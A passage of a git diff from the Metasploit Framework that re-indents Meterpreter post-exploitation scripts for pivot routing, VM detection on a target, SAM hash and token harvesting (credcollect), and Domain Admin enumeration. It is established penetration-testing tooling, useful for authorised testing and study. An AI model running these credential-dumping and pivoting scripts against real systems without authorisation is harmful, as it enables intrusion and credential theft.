v.split("\x2f") + netmask = Rex::Socket.addr_ctoa(cidr.to_i) + else + subnet = v + end + when "-n" + if (0..32) === v.to_i + netmask = Rex::Socket.addr_ctoa(v.to_i) + else + netmask = v + end + when "-p" + print_only = true + when "-d" + remove_route = true + when "-D" + remove_all_routes = true + end } def delete_all_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - routes = [] - Rex::Socket::SwitchBoard.each do |route| - routes << {:subnet => route.subnet, :netmask => route.netmask} - end - routes.each {|route_opts| delete_route(route_opts)} + if Rex::Socket::SwitchBoard.routes.size > 0 + routes = [] + Rex::Socket::SwitchBoard.each do |route| + routes << {:subnet => route.subnet, :netmask => route.netmask} + end + routes.each {|route_opts| delete_route(route_opts)} - print_status "Deleted all routes" - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed + print_status "Deleted all routes" + else + print_status "No routes have been added yet" + end + raise Rex::Script::Completed end # Identical functionality to command_dispatcher/core.rb, and # nearly identical code def print_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Active Routing Table", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => - [ - 'Subnet', - 'Netmask', - 'Gateway', - ], - 'ColProps' => - { - 'Subnet' => { 'MaxWidth' => 17 }, - 'Netmask' => { 'MaxWidth' => 17 }, - }) - ret = [] + if Rex::Socket::SwitchBoard.routes.size > 0 + tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Active Routing Table", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => + [ + 'Subnet', + 'Netmask', + 'Gateway', + ], + 'ColProps' => + { + 'Subnet' => { 'MaxWidth' => 17 }, + 'Netmask' => { 'MaxWidth' => 17 }, + }) + ret = [] - Rex::Socket::SwitchBoard.each { |route| - if (route.comm.kind_of?(Msf::Session)) - gw = "Session #{route.comm.sid}" - else - gw = route.comm.name.split(/::/)[-1] - end - tbl << [ route.subnet, route.netmask, gw ] - } - print tbl.to_s - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed + Rex::Socket::SwitchBoard.each { |route| + if (route.comm.kind_of?(Msf::Session)) + gw = "Session #{route.comm.sid}" + else + gw = route.comm.name.split(/::/)[-1] + end + tbl << [ route.subnet, route.netmask, gw ] + } + print tbl.to_s + else + print_status "No routes have been added yet" + end + raise Rex::Script::Completed end # Yet another IP validator. I'm sure there's some Rex # function that can just do this. def check_ip(ip=nil) - return false if(ip.nil? || ip.strip.empty?) - begin - rw = Rex::Socket::RangeWalker.new(ip.strip) - (rw.valid? && rw.length == 1) ? true : false - rescue - false - end + return false if(ip.nil? || ip.strip.empty?) + begin + rw = Rex::Socket::RangeWalker.new(ip.strip) + (rw.valid? && rw.length == 1) ? true : false + rescue + false + end end # Adds a route to the framework instance def add_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) + subnet = opts[:subnet] + netmask = opts[:netmask] || "255.255.255.0" # Default class C + Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) end # Removes a route to the framework instance def delete_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) + subnet = opts[:subnet] + netmask = opts[:netmask] || "255.255.255.0" # Default class C + Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) end # Defines usage def usage() - print_status "Usage: run autoroute [-r] -s subnet -n netmask" - print_status "Examples:" - print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" - print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" - print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" - print_status " run autoroute -p # Print active routing table" - print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" - print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" - print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" + print_status "Usage: run autoroute [-r] -s subnet -n netmask" + print_status "Examples:" + print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" + print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" + print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" + print_status " run autoroute -p # Print active routing table" + print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" + print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" + print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" end # Validates the command options def validate_cmd(subnet=nil,netmask=nil) - if subnet.nil? - print_error "Missing -s (subnet) option" - return false - end + if subnet.nil? + print_error "Missing -s (subnet) option" + return false + end - unless(check_ip(subnet)) - print_error "Subnet invalid (must be IPv4)" - usage - return false - end + unless(check_ip(subnet)) + print_error "Subnet invalid (must be IPv4)" + usage + return false + end - if(netmask and !(Rex::Socket.addr_atoc(netmask))) - print_error "Netmask invalid (must define contiguous IP addressing)" - usage - return false - end + if(netmask and !(Rex::Socket.addr_atoc(netmask))) + print_error "Netmask invalid (must define contiguous IP addressing)" + usage + return false + end - if(netmask and !check_ip(netmask)) - print_error "Netmask invalid" - return usage - end - true + if(netmask and !check_ip(netmask)) + print_error "Netmask invalid" + return usage + end + true end if print_only - print_routes() - raise Rex::Script::Completed + print_routes() + raise Rex::Script::Completed end if remove_all_routes - delete_all_routes() - raise Rex::Script::Completed + delete_all_routes() + raise Rex::Script::Completed end raise Rex::Script::Completed unless validate_cmd(subnet,netmask) if remove_route - print_status("Deleting route to %s/%s..." % [subnet,netmask]) - route_result = delete_route(:subnet => subnet, :netmask => netmask) + print_status("Deleting route to %s/%s..." % [subnet,netmask]) + route_result = delete_route(:subnet => subnet, :netmask => netmask) else - print_status("Adding a route to %s/%s..." % [subnet,netmask]) - route_result = add_route(:subnet => subnet, :netmask => netmask) + print_status("Adding a route to %s/%s..." % [subnet,netmask]) + route_result = add_route(:subnet => subnet, :netmask => netmask) end if route_result - print_good "%s route to %s/%s via %s" % [ - (remove_route ? "Deleted" : "Added"), - subnet,netmask,client.sock.peerhost - ] + print_good "%s route to %s/%s via %s" % [ + (remove_route ? "Deleted" : "Added"), + subnet,netmask,client.sock.peerhost + ] else - print_error "Could not %s route" % [(remove_route ? "delete" : "add")] + print_error "Could not %s route" % [(remove_route ? "delete" : "add")] end if Rex::Socket::SwitchBoard.routes.size > 0 - print_status "Use the -p option to list all active routes" + print_status "Use the -p option to list all active routes" end diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index d968f9a184..5c824f1366 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -4,349 +4,349 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") - print_line("USAGE: run checkvm") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") + print_line("USAGE: run checkvm") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } # Function for detecting if it is a Hyper-V VM def hypervchk(session) - begin - vm = false - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("Hyper-V") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif sfmsvals.include?("VirtualMachine") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - key.close - rescue - end + begin + vm = false + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) + sfmsvals = key.enum_key + if sfmsvals.include?("Hyper-V") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif sfmsvals.include?("VirtualMachine") + print_status("This is a Hyper-V Virtual Machine") + vm = true + end + key.close + rescue + end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmicheartbeat") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicvss") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicshutdown") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicexchange") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - rescue - end - end - return vm + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vmicheartbeat") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicvss") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicshutdown") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicexchange") + print_status("This is a Hyper-V Virtual Machine") + vm = true + end + rescue + end + end + return vm end # Function for checking if it is a VMware VM def vmwarechk(session) - vm = false - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmdebug") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("vmmouse") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMTools") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMMEMCTL") - print_status("This is a VMware Virtual Machine") - vm = true - end - key.close - rescue - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vmware/ - print_status("This is a VMware Virtual Machine") - vm = true - end - rescue - end - end - if not vm - vmwareprocs = [ - "vmwareuser.exe", - "vmwaretray.exe" - ] - vmwareprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VMware Virtual Machine") if not vm - vm = true - end - end - end - end - key.close - return vm + vm = false + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vmdebug") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("vmmouse") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("VMTools") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("VMMEMCTL") + print_status("This is a VMware Virtual Machine") + vm = true + end + key.close + rescue + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /vmware/ + print_status("This is a VMware Virtual Machine") + vm = true + end + rescue + end + end + if not vm + vmwareprocs = [ + "vmwareuser.exe", + "vmwaretray.exe" + ] + vmwareprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a VMware Virtual Machine") if not vm + vm = true + end + end + end + end + key.close + return vm end # Function for checking if it is a Virtual PC VM def checkvrtlpc(session) - vm = false - vpcprocs = [ - "vmusrvc.exe", - "vmsrvc.exe" - ] - vpcprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VirtualPC Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vpcbus") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpc-s3") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpcuhub") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("msvmmouf") - print_status("This is a VirtualPC Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + vpcprocs = [ + "vmusrvc.exe", + "vmsrvc.exe" + ] + vpcprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a VirtualPC Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vpcbus") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("vpc-s3") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("vpcuhub") + print_status("This is a VirtualPC Virtual Machine") + vm = true + elsif srvvals.include?("msvmmouf") + print_status("This is a VirtualPC Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def vboxchk(session) - vm = false - vboxprocs = [ - "vboxservice.exe", - "vboxtray.exe" - ] - vboxprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Sun VirtualBox Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') - if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBoxMouse") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxGuest") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxService") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxSF") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + vboxprocs = [ + "vboxservice.exe", + "vboxtray.exe" + ] + vboxprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a Sun VirtualBox Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBOX__") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /vbox/ + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') + if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("VBoxMouse") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxGuest") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxService") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + elsif srvvals.include?("VBoxSF") + print_status("This is a Sun VirtualBox Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def xenchk(session) - vm = false - xenprocs = [ - "xenservice.exe" - ] - xenprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Xen Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("xenevtchn") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet6") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xensvc") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xenvdb") - print_status("This is a Xen Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm + vm = false + xenprocs = [ + "xenservice.exe" + ] + xenprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a Xen Virtual Machine") if not vm + vm = true + end + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("Xen") + print_status("This is a Xen Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("xenevtchn") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xennet") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xennet6") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xensvc") + print_status("This is a Xen Virtual Machine") + vm = true + elsif srvvals.include?("xenvdb") + print_status("This is a Xen Virtual Machine") + vm = true + end + key.close + rescue + end + end + return vm end def qemuchk(session) - vm = false - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') - if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end + vm = false + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /qemu/ + print_status("This is a QEMU/KVM Virtual Machine") + vm = true + end + rescue + end + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') + if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ + print_status("This is a QEMU/KVM Virtual Machine") + vm = true + end + rescue + end + end - return vm + return vm end if client.platform =~ /win32|win64/ - print_status("Checking if target is a Virtual Machine .....") - found = hypervchk(session) - found = vmwarechk(session) if not found - found = checkvrtlpc(session) if not found - found = vboxchk(session) if not found - found = xenchk(session) if not found - found = qemuchk(session) if not found - print_status("It appears to be physical host.") if not found + print_status("Checking if target is a Virtual Machine .....") + found = hypervchk(session) + found = vmwarechk(session) if not found + found = checkvrtlpc(session) if not found + found = vboxchk(session) if not found + found = xenchk(session) if not found + found = qemuchk(session) if not found + print_status("It appears to be physical host.") if not found else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 4ba4dd1a7b..001172e7c2 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,78 +1,78 @@ # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-p" => [ true,"The SMB port used to associate credentials."] + "-h" => [ false,"Help menu." ], + "-p" => [ true,"The SMB port used to associate credentials."] ) smb_port = 445 opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CredCollect -- harvest credentials found on the host and store them in the database") - print_line("USAGE: run credcollect") - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" # This ought to read from the exploit's datastore. - smb_port = val.to_i - end + case opt + when "-h" + print_line("CredCollect -- harvest credentials found on the host and store them in the database") + print_line("USAGE: run credcollect") + print_line(opts.usage) + raise Rex::Script::Completed + when "-p" # This ought to read from the exploit's datastore. + smb_port = val.to_i + end } if client.platform =~ /win32|win64/ - # Collect even without a database to store them. - if client.framework.db.active - db_ok = true - else - db_ok = false - end + # Collect even without a database to store them. + if client.framework.db.active + db_ok = true + else + db_ok = false + end - # Make sure we're rockin Priv and Incognito - client.core.use("priv") if not client.respond_to?("priv") - client.core.use("incognito") if not client.respond_to?("incognito") + # Make sure we're rockin Priv and Incognito + client.core.use("priv") if not client.respond_to?("priv") + client.core.use("incognito") if not client.respond_to?("incognito") - # It wasn't me mom! Stinko did it! - hashes = client.priv.sam_hashes + # It wasn't me mom! Stinko did it! + hashes = client.priv.sam_hashes - # Target infos for the db record - addr = client.sock.peerhost - # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) + # Target infos for the db record + addr = client.sock.peerhost + # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) - # Record hashes to the running db instance - print_good "Collecting hashes..." - hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = smb_port - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - data[:active] = true + # Record hashes to the running db instance + print_good "Collecting hashes..." + hashes.each do |hash| + data = {} + data[:host] = addr + data[:port] = smb_port + data[:sname] = 'smb' + data[:user] = hash.user_name + data[:pass] = hash.lanman + ":" + hash.ntlm + data[:type] = "smb_hash" + data[:active] = true - print_line " Extracted: #{data[:user]}:#{data[:pass]}" - client.framework.db.report_auth_info(data) if db_ok - end + print_line " Extracted: #{data[:user]}:#{data[:pass]}" + client.framework.db.report_auth_info(data) if db_ok + end - # Record user tokens - tokens = client.incognito.incognito_list_tokens(0) - raise Rex::Script::Completed if not tokens + # Record user tokens + tokens = client.incognito.incognito_list_tokens(0) + raise Rex::Script::Completed if not tokens - # Meh, tokens come to us as a formatted string - print_good "Collecting tokens..." - (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token| - data = {} - data[:host] = addr - data[:type] = 'smb_token' - data[:data] = token - data[:update] = :unique_data + # Meh, tokens come to us as a formatted string + print_good "Collecting tokens..." + (tokens["delegation"] + tokens["impersonation"]).split("\n").each do |token| + data = {} + data[:host] = addr + data[:type] = 'smb_token' + data[:data] = token + data[:update] = :unique_data - print_line " #{data[:data]}" - client.framework.db.report_note(data) if db_ok - end - raise Rex::Script::Completed + print_line " #{data[:data]}" + client.framework.db.report_note(data) if db_ok + end + raise Rex::Script::Completed else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index 3621d02d05..df51c47eb2 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -2,23 +2,23 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Doamin Admin Account list for use." - print_line "in token_hunter plugin and verifies if current account for session is" - print_line "is a member of such group." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for extracting Doamin Admin Account list for use." + print_line "in token_hunter plugin and verifies if current account for session is" + print_line "is a member of such group." + print_line(opts.usage) + raise Rex::Script::Completed + end } def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end #------------------------------------------------------------------------------- #Set General Variables used in the script @@ -30,20 +30,20 @@ host = @client.sys.config.sysinfo['Computer'] current_user = @client.sys.config.getuid.scan(/\S*\\(.*)/) def reg_getvaldata(key,valname) - value = nil - begin - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) - value = v.data - open_key.close - end - return value + value = nil + begin + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + end + return value end domain = reg_getvaldata("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon","DefaultDomainName") if domain == "" - print_error("domain not found") + print_error("domain not found") end # Create Filename info to be appended to downloaded files @@ -64,12 +64,12 @@ print_status("found users will be saved to #{dest}") cmd = 'net groups "Domain Admins" /domain' r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) - users << d - if d=~/System error/ - print_error("Could not enumerate Domain Admins!") - raise Rex::Script::Completed - end - break if d == "" + users << d + if d=~/System error/ + print_error("Could not enumerate Domain Admins!") + raise Rex::Script::Completed + end + break if d == "" end #split output in to lines out_lines = users.split("\n") @@ -79,20 +79,20 @@ domadmins = out_lines.slice(6,a_size) #get only the usernames out of those lines domainadmin_user_list = [] domadmins.each do |d| - d.split(" ").compact.each do |s| - domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/ - end + d.split(" ").compact.each do |s| + domainadmin_user_list << s.strip if s.strip != "" and not s =~ /----/ + end end #process accounts found print_status("Accounts Found:") domainadmin_user_list.each do |u| - print_status("\t#{domain}\\#{u}") - file_local_write(dest, "#{domain}\\#{u}") - list << u.downcase + print_status("\t#{domain}\\#{u}") + file_local_write(dest, "#{domain}\\#{u}") + list << u.downcase end if list.index(current_user.join.chomp.downcase) - print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!") + print_status("Current sessions running as #{domain}\\#{current_user.join.chomp} is a Domain Admin!!") else - print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin") + print_error("Current session running as #{domain}\\#{current_user.join.chomp} is not running as Domain Admin") end diff --git a/scripts/meterpreter/dumplinks.rb 